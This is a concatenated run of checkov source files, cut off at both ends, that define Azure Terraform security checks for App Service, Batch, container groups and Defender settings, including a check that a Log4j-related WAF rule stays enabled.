enumerate(force_list(rule_overrides)): self.evaluated_keys.extend( [ f"managed_rules/[0]/managed_rule_set[{idx_rule_set}]/rule_group_override/[{idx_override}]/rule_group_name", f"managed_rules/[0]/managed_rule_set[{idx_rule_set}]/rule_group_override/[{idx_override}]/disabled_rules", ] ) if isinstance(rule_override, dict) and rule_override.get("rule_group_name") == ["REQUEST-944-APPLICATION-ATTACK-JAVA"]: disabled_rules = rule_override.get("disabled_rules") or [] if disabled_rules and isinstance(disabled_rules, list) and "944240" in force_list(disabled_rules[0]): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = AppGatewayWAFACLCVE202144228() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceAlwaysOn(BaseResourceValueCheck): def __init__(self) -> None: # "Azure App Service apps are automatically unloaded when there's no traffic. Unloading apps reduces resource # consumption when apps share a single App Services Plan. # After an app have been unloaded, the next web request will trigger a cold start of the app. # A cold start of the app can cause a noticeable performance issues and request timeouts. # Continuous WebJobs or WebJobs triggered with a CRON expression must use always on to start. # The Always On feature is implemented by the App Service load balancer, # periodically sending requests to the application root." name = "Ensure App Service is set to be always on" id = "CKV_AZURE_214" supported_resources = ('azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return 'site_config/[0]/always_on/[0]' check = AppServiceAlwaysOn() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceAuthentication.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AppServiceAuthentication(BaseResourceCheck): def __init__(self): name = "Ensure App Service Authentication is set on Azure App Service" id = "CKV_AZURE_13" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'auth_settings/[0]/enabled/[0]' def scan_resource_conf(self, conf): if conf.get('auth_settings') and isinstance(conf.get('auth_settings'), list): auth = conf.get('auth_settings')[0] if auth.get("enabled") and isinstance(auth.get("enabled"), list): enabled = auth.get("enabled")[0] if enabled: return CheckResult.PASSED return CheckResult.FAILED if conf.get('auth_settings_v2') and isinstance(conf.get('auth_settings_v2'), list): auth = conf.get('auth_settings_v2')[0] if auth.get("auth_enabled") and isinstance(auth.get("auth_enabled"), list): enabled = auth.get("auth_enabled")[0] if enabled: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED check = AppServiceAuthentication() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceClientCertificate.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceClientCertificate(BaseResourceValueCheck): def __init__(self): name = "Ensure the web app has 'Client Certificates (Incoming client certificates)' set" id = "CKV_AZURE_17" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): if self.entity_type == 'azurerm_app_service': return 'client_cert_enabled/[0]' else: return 'client_certificate_enabled/[0]' check = AppServiceClientCertificate() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceDetailedErrorMessagesEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class AppServiceDetailedErrorMessagesEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that App service enables detailed error messages" id = "CKV_AZURE_65" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): if self.entity_type == 'azurerm_app_service': return "logs/[0]/detailed_error_messages_enabled" else: return "logs/[0]/detailed_error_messages" check = AppServiceDetailedErrorMessagesEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceDisallowCORS.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class AppServiceDisallowCORS(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that CORS disallows every resource to access app services" id = "CKV_AZURE_57" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.PASSED) def get_inspected_key(self): return 'site_config/[0]/cors/[0]/allowed_origins' def get_forbidden_values(self): return [['*']] check = AppServiceDisallowCORS() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class AppServiceDotnetFrameworkVersion(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that 'Net Framework' version is the latest, if used as a part of the web app" id = "CKV_AZURE_80" supported_resources = ['azurerm_app_service', 'azurerm_windows_web_app'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: # Supported .NET versions (LTS and STS currently supported by Microsoft) # v6.0 is EOL as of November 2024 # v8.0 is LTS (supported until November 2026) # v9.0 is STS (supported until November 2026) # v10.0 is the latest version supported_versions = {"v8.0", "v9.0", "v10.0"} if conf.get('site_config') and isinstance(conf.get('site_config'), list): site_config = conf.get('site_config')[0] if site_config.get('dotnet_framework_version') and isinstance(site_config.get('dotnet_framework_version'), list): version = site_config.get('dotnet_framework_version')[0] if version in supported_versions: return CheckResult.PASSED self.evaluated_keys = ['site_config/[0]/dotnet_framework_version'] return CheckResult.FAILED if site_config.get('application_stack') and isinstance(site_config.get('application_stack'), list): stack = site_config.get('application_stack')[0] if stack.get('dotnet_version') and isinstance(stack.get('dotnet_version'), list): version = stack.get('dotnet_version')[0] if version in supported_versions: return CheckResult.PASSED self.evaluated_keys = ['site_config/[0]/application_stack/[0]/dotnet_version'] return CheckResult.FAILED return CheckResult.UNKNOWN def get_expected_values(self) -> List[str]: return ["v8.0", "v9.0", "v10.0"] check = AppServiceDotnetFrameworkVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceEnableFailedRequest.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceEnableFailedRequest(BaseResourceValueCheck): def __init__(self): name = "Ensure that App service enables failed request tracing" id = "CKV_AZURE_66" supported_resources = ('azurerm_linux_web_app', 'azurerm_windows_web_app', 'azurerm_app_service') categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): if self.entity_type == "azurerm_app_service": return 'logs/[0]/failed_request_tracing_enabled' else: return 'logs/[0]/failed_request_tracing' check = AppServiceEnableFailedRequest() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceEnvironmentZoneRedundant.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceEnvironmentZoneRedundant(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure App Service Environment is zone redundant" id = "CKV_AZURE_231" supported_resources = ("azurerm_app_service_environment_v3",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "zone_redundant" check = AppServiceEnvironmentZoneRedundant() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceFTPSState.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceFTPSState(BaseResourceValueCheck): def __init__(self): name = "Ensure FTP deployments are disabled" id = "CKV_AZURE_78" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.APPLICATION_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "site_config/0/ftps_state" def get_expected_value(self): return "Disabled" def get_expected_values(self): return ["Disabled", "FtpsOnly"] check = AppServiceFTPSState() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceHTTPSOnly.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceHTTPSOnly(BaseResourceValueCheck): def __init__(self): name = "Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service" id = "CKV_AZURE_14" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'https_only/[0]' check = AppServiceHTTPSOnly() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceHttpLoggingEnabled.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AppServiceHttpLoggingEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that App service enables HTTP logging" id = "CKV_AZURE_63" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "logs/[0]/http_logs" def get_expected_value(self): return ANY_VALUE check = AppServiceHttpLoggingEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceHttps20Enabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceHttps20Enabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'HTTP Version' is the latest if used to run the web app" id = "CKV_AZURE_18" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'site_config/[0]/http2_enabled' check = AppServiceHttps20Enabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceIdentity.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class AppServiceIdentity(BaseResourceValueCheck): def __init__(self): name = "Ensure that Register with Azure Active Directory is enabled on App Service" id = "CKV_AZURE_16" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'identity' def get_expected_values(self): return ANY_VALUE check = AppServiceIdentity() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceIdentityProviderEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that Managed identity provider is enabled for app services" id = "CKV_AZURE_71" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "identity/[0]/type" def get_expected_value(self): return ANY_VALUE check = AppServiceIdentityProviderEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceInstanceMinimum.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AppServiceInstanceMinimum(BaseResourceCheck): def __init__(self) -> None: # "App Services Plans provides a configurable number of instances that will run apps. # When a single instance is configured your app may be temporarily unavailable during unplanned interruptions. # In most circumstances, Azure will self-heal faulty app service instances automatically. # How-ever during this time there may interruptions to your workload." name = "Ensure App Service has a minimum number of instances for failover" id = "CKV_AZURE_212" supported_resources = ("azurerm_service_plan",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: worker_count = conf.get("worker_count") if worker_count and isinstance(worker_count, list): if not isinstance(worker_count[0], int): return CheckResult.UNKNOWN if worker_count[0] > 1: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["worker_count"] check = AppServiceInstanceMinimum() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceJavaVersion.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceJavaVersion(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'Java version' is the latest, if used to run the web app" id = "CKV_AZURE_83" supported_resources = ['azurerm_app_service'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.UNKNOWN) def get_inspected_key(self): return "site_config/[0]/java_version/[0]" def get_expected_value(self): return '11' check = AppServiceJavaVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceMinTLSVersion.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceMinTLSVersion(BaseResourceValueCheck): def __init__(self): name = "Ensure web app is using the latest version of TLS encryption" id = "CKV_AZURE_15" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): if self.entity_type == "azurerm_app_service": return "site_config/[0]/min_tls_version/[0]" else: return "site_config/[0]/minimum_tls_version/[0]" def get_expected_value(self): return '1.2' def get_expected_values(self) -> List[Any]: return ["1.2", 1.2, "1.3", 1.3] check = AppServiceMinTLSVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServicePHPVersion.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServicePHPVersion(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'PHP version' is the latest, if used to run the web app" id = "CKV_AZURE_81" supported_resources = ['azurerm_app_service'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.UNKNOWN) def get_inspected_key(self): return "site_config/[0]/php_version/[0]" def get_expected_value(self): return '7.4' check = AppServicePHPVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServicePlanZoneRedundant.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServicePlanZoneRedundant(BaseResourceValueCheck): def __init__(self) -> None: """ To enhance the resiliency and reliability of business-critical workloads, it's recommended to deploy new App Service Plans with zone-redundancy. There's no additional cost associated with enabling availability zones. Pricing for a zone redundant App Service is the same as a single zone App Service. """ name = "Ensure the App Service Plan is zone redundant" id = "CKV_AZURE_225" supported_resources = ("azurerm_service_plan",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "zone_balancing_enabled" check = AppServicePlanZoneRedundant() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServicePublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Web App public network access is disabled" id = "CKV_AZURE_222" supported_resources = ("azurerm_linux_web_app", "azurerm_windows_web_app") categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_network_access_enabled" def get_expected_value(self) -> Any: return False check = AppServicePublicAccessDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServicePythonVersion.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServicePythonVersion(BaseResourceValueCheck): def __init__(self): name = "Ensure that 'Python version' is the latest, if used to run the web app" id = "CKV_AZURE_82" supported_resources = ['azurerm_app_service'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.UNKNOWN) def get_inspected_key(self): return "site_config/[0]/python_version/[0]" def get_expected_value(self): return '3.4' check = AppServicePythonVersion() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceRemoteDebuggingNotEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that remote debugging is not enabled for app services" id = "CKV_AZURE_72" supported_resources = ('azurerm_app_service', 'azurerm_linux_function_app', 'azurerm_linux_function_app_slot', 'azurerm_linux_web_app', 'azurerm_linux_web_app_slot', 'azurerm_windows_function_app', 'azurerm_windows_function_app_slot', 'azurerm_windows_web_app', 'azurerm_windows_web_app_slot' ) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "site_config/[0]/remote_debugging_enabled" def get_expected_value(self) -> Any: return False check = AppServiceRemoteDebuggingNotEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceSetHealthCheck(BaseResourceValueCheck): def __init__(self) -> None: # "Azure App Service monitors a specific path for each web app instance to determine health status. # The monitored path should implement functional checks to determine if the app is performing correctly. # The checks should include dependencies including those that may not be regularly called. # Regular checks of the monitored path allow Azure App Service to route traffic based on availability." name = "Ensure that App Service configures health check" id = "CKV_AZURE_213" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'site_config/[0]/health_check_path' def get_expected_values(self) -> Any: return ANY_VALUE check = AppServiceSetHealthCheck() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceSkuMinimum.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class AppServiceSkuMinimum(BaseResourceNegativeValueCheck): def __init__(self) -> None: # "Azure App Services provide a range of different plans that can be used to scale your application. # Each plan provides different levels of performance and features. # To get you started a number of entry level plans are available. # The Free, Shared, and Basic plans can be used for limited testing and development. # These plans are not suitable for production use. # Production workloads are best suited to standard and premium plans with PremiumV3 the newest plan." name = "Ensure App Service plan suitable for production use" id = "CKV_AZURE_211" supported_resources = ['azurerm_service_plan'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'sku_name' def get_forbidden_values(self) -> list[Any]: return ["B1", "B2", "B3", "F1", "D1"] check = AppServiceSkuMinimum() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceSlotDebugDisabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceSlotDebugDisabled(BaseResourceValueCheck): def __init__(self): name = "Ensure debugging is disabled for the App service slot" id = "CKV_AZURE_155" supported_resources = ['azurerm_app_service_slot'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "site_config/[0]/remote_debugging_enabled/[0]" def get_expected_value(self): return False check = AppServiceSlotDebugDisabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceSlotHTTPSOnly(BaseResourceValueCheck): def __init__(self): name = "Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot" id = "CKV_AZURE_153" supported_resources = ["azurerm_app_service_slot", "azurerm_linux_web_app_slot", "azurerm_windows_web_app_slot"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "https_only/[0]" check = AppServiceSlotHTTPSOnly() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceSlotMinTLS.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppServiceSlotMinTLS(BaseResourceValueCheck): def __init__(self): name = "Ensure the App service slot is using the latest version of TLS encryption" id = "CKV_AZURE_154" supported_resources = ['azurerm_app_service_slot'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "site_config/[0]/min_tls_version/[0]" def get_expected_value(self): return '1.2' def get_expected_values(self) -> List[Any]: return ["1.2", 1.2, "1.3", 1.3] check = AppServiceSlotMinTLS() ================================================ FILE: checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AppServiceUsedAzureFiles(BaseResourceValueCheck): def __init__(self): name = "Ensure that app services use Azure Files" id = "CKV_AZURE_88" supported_resources = ('azurerm_app_service', 'azurerm_linux_web_app', 'azurerm_windows_web_app') categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "storage_account/[0]/type" def get_expected_value(self): return 'AzureFiles' check = AppServiceUsedAzureFiles() ================================================ FILE: checkov/terraform/checks/resource/azure/AutomationEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AutomationEncrypted(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Automation account variables are encrypted" id = "CKV_AZURE_73" supported_resources = ( "azurerm_automation_variable_bool", "azurerm_automation_variable_string", "azurerm_automation_variable_int", "azurerm_automation_variable_datetime", ) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "encrypted" check = AutomationEncrypted() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureBatchAccountEndpointAccessDefaultAction.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class AzureBatchAccountEndpointAccessDefaultAction(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny'" id = "CKV_AZURE_248" supported_resources = ("azurerm_batch_account",) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: public_network_access = conf.get('public_network_access_enabled', [None])[0] # public network access is disabled, no need to check for account access default action if public_network_access is False: return CheckResult.PASSED network_profile: dict[str, Any] | None = conf.get('network_profile', [None])[0] if not network_profile: return CheckResult.PASSED account_access: dict[str, Any] | None = network_profile.get('account_access', [None])[0] if not account_access: return CheckResult.PASSED default_action: str | None = account_access.get('default_action', [None])[0] if not default_action or str(default_action).lower() != "allow": return CheckResult.PASSED self.evaluated_keys = ["network_profile/[0]/account_access/[0]/default_action"] return CheckResult.FAILED check = AzureBatchAccountEndpointAccessDefaultAction() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureBatchAccountUsesKeyVaultEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureBatchAccountUsesKeyVaultEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Batch account uses key vault to encrypt data" id = "CKV_AZURE_76" supported_resources = ['azurerm_batch_account'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'key_vault_reference/[0]/id' def get_expected_value(self): return ANY_VALUE check = AzureBatchAccountUsesKeyVaultEncryption() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureContainerGroupDeployedIntoVirtualNetwork.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureContainerGroupDeployedIntoVirtualNetwork(BaseResourceValueCheck): def __init__(self): # From Azure: # network_profile_id is deprecated by Azure. For users who want to continue to manage existing # azurerm_container_group that rely on network_profile_id, please stay on provider versions prior # to v3.16.0. Otherwise, use subnet_ids instead. name = "Ensure that Azure Container group is deployed into virtual network" id = "CKV_AZURE_98" supported_resources = ['azurerm_container_group'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'subnet_ids' def get_expected_value(self): return ANY_VALUE check = AzureContainerGroupDeployedIntoVirtualNetwork() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureContainerInstanceEnvVarSecureValueType.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck import itertools class AzureContainerInstanceEnvVarSecureValueType(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure container environment variables are configured with secure values only" id = "CKV_AZURE_235" supported_resources = ("azurerm_container_group",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: for container in itertools.chain(conf.get('container', {}), conf.get('init_container', {})): if "environment_variables" in container: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['container', 'init_container'] check = AzureContainerInstanceEnvVarSecureValueType() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureContainerInstancePublicIPAddressType.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureContainerInstancePublicIPAddressType(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Container group is deployed into virtual network" id = "CKV_AZURE_245" supported_resources = ('azurerm_container_group',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'ip_address_type' def get_expected_values(self) -> List[str]: return ['Private', 'None'] check = AzureContainerInstancePublicIPAddressType() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDataExplorerDoubleEncryptionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AzureDataExplorerDoubleEncryptionEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Data Explorer uses double encryption" id = "CKV_AZURE_75" supported_resources = ['azurerm_kusto_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "double_encryption_enabled" def get_expected_value(self): return True check = AzureDataExplorerDoubleEncryptionEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderDisabledForResManager.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureDefenderDisabledForResManager(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Azure Defender for cloud is set to On for Resource Manager" id = "CKV_AZURE_234" supported_resources = ("azurerm_security_center_subscription_pricing",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return ( CheckResult.FAILED if conf.get("resource_type", [""])[0].lower() == "arm" and conf.get("tier", [""])[0].lower() != "standard" else CheckResult.PASSED ) def get_evaluated_keys(self) -> list[str]: return ["resource_type", "tier"] check = AzureDefenderDisabledForResManager() ================================================ FILE: checkov/terraform/checks/resource/azure/AzureDefenderOnAppServices.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AzureDefenderOnAppServices(BaseResourceCheck): def __init__(self) -> None: name = 